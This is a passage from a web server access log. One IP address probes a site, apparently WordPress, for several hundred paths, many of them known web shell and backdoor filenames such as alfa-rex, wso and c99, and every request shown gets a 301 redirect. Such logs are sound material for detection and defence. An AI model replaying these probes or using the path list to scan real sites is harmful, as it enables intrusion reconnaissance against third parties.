HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:40 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:40 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:40 -0400] "GET /wp-content/plugins/blwrume/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:41 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:42 -0400] "GET /wp-content/themes/ccx/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:42 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:42 -0400] "GET /wp-content/themes/oc7y6yjs/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:42 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:43 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:43 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:44 -0400] "GET /wp-content/uploads/init HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:44 -0400] "GET /wp-content/plugins/sid/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:45 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:45 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:46 -0400] "GET /user_panel.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:46 -0400] "GET /aleXus.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:47 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:47 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:48 -0400] "GET /wp/xleet.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:48 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-github.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:48 -0400] "GET /comdofuns.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:49 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:49 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:49 -0400] "GET /reset.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:50 -0400] "GET /wp-admin/themes/config HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:50 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:50 -0400] "GET /wp/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:50 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:50 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:51 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:51 -0400] "GET /wordpress/wordpress/wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:51 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:52 -0400] "GET /wp-includes/SimplePie/Exception-class.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:52 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:52 -0400] "GET /wp-content/plugins/fgcpghg/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:52 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:53 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:53 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:53 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:54 -0400] "GET /wp-content/plugins/erfdsxx/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:54 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:54 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:55 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:55 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:56 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:56 -0400] "GET /wp-content/uploads/revslider/templates/creativefrontpage/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:56 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:57 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:57 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:58 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:58 -0400] "GET /wp-includes/IXR/moon.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:58 -0400] "GET /alfa-rex.php8 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:59 -0400] "GET /wp-content/plugins/mqdlgzp/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:59 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:59 -0400] "GET /wp-content/upgrade/alfa-shell-v4.1-tesla-decoded.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:59 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:14:59 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:00 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:00 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:00 -0400] "GET /review.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:01 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:01 -0400] "GET /wp-includes/random_compat/bala.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:01 -0400] "GET /wp-content/plugins/seoo/ulc2.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:02 -0400] "GET /wp-content/plugins/backup-backup/includes/1155949024...php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:02 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:03 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:04 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:04 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:04 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:05 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:05 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:06 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:06 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:07 -0400] "GET /wp-content/plugins/vslnxrk/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:07 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:07 -0400] "GET /pdf.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:07 -0400] "GET /compressor.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:08 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:08 -0400] "GET /site/wp-content/plugins/hmdqckh/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:08 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:09 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:09 -0400] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:09 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:10 -0400] "GET /wp-content/themes/travel/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:10 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:10 -0400] "GET /api_upload.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:10 -0400] "GET /backup_db.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:11 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:11 -0400] "GET /wp-includes/class-controller-theme-comment.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:11 -0400] "GET /wp-content/plugins/about HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:12 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:13 -0400] "GET /wp/wp-content/themes/w695elkq/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:13 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:14 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:14 -0400] "GET /.well-known/index HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:15 -0400] "GET /sql_editor.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:15 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:15 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:16 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:16 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:16 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:16 -0400] "GET /assets/vendor/codemirror/mode/ecl/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:17 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:17 -0400] "GET /wp-content/plugins/uiaqgqm/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:17 -0400] "GET /wp-content/themes/9rafadt6/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:18 -0400] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:18 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:18 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:18 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:19 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:19 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:19 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:19 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:20 -0400] "GET /js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:20 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:20 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:21 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:21 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:21 -0400] "GET /wp-includes/SimplePie/about.php/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:22 -0400] "GET /wp-content/plugins/pxgpozm/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:22 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:22 -0400] "GET /c99.php? HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:23 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:23 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:23 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:23 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:24 -0400] "GET /wp-content/themes/twentytwentythree/patterns/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:24 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:25 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:25 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:26 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:26 -0400] "GET /upload/info/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:26 -0400] "GET /wp-content/plugins/rneciwj/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:27 -0400] "GET /wp-includes/ID3/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:27 -0400] "GET /wp-content/plugins/ojyiyys/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:27 -0400] "GET /amaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:28 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:28 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:28 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:29 -0400] "GET /wp-includes/customize/amaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:29 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:29 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:30 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:30 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:31 -0400] "GET /wp-content/plugins/smelzou/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:31 -0400] "GET /products/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:31 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:32 -0400] "GET /.well-known/pki-validation/LA.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:32 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:32 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:32 -0400] "GET /wp-includes/Requests/Utility/sys.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:33 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:33 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:33 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:34 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:34 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:35 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:35 -0400] "GET /spam.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:36 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:38 -0400] "GET /js_editor.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:39 -0400] "GET /moderator.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:39 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:39 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:40 -0400] "GET /wp-content/plugins/read/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:40 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:41 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:41 -0400] "GET /config_save.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:42 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:42 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:42 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:43 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:43 -0400] "GET /wp-content/plugins/css-ready-sel/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:43 -0400] "GET /ccx/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:43 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:44 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:44 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:45 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:45 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:46 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:46 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:47 -0400] "GET /wp-includes/css/dist/block-library/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:47 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:48 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:48 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:49 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:49 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:49 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:50 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:50 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:50 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:51 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:51 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:51 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:52 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:52 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:52 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:52 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:53 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:53 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:54 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:54 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:55 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:55 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:56 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:56 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:57 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:57 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:15:58 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:00 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:00 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:01 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:02 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:08 -0400] "GET /wp-admin/css/colors/ectoplasm/x.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:08 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:13 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:13 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:14 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:14 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:14 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:15 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:15 -0400] "GET /wp-includes/theme-compat/border.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:16 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:16 -0400] "GET /wp-includes/log403.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:16:16 -0400] "GET /wp-admin/user/wp-login.php 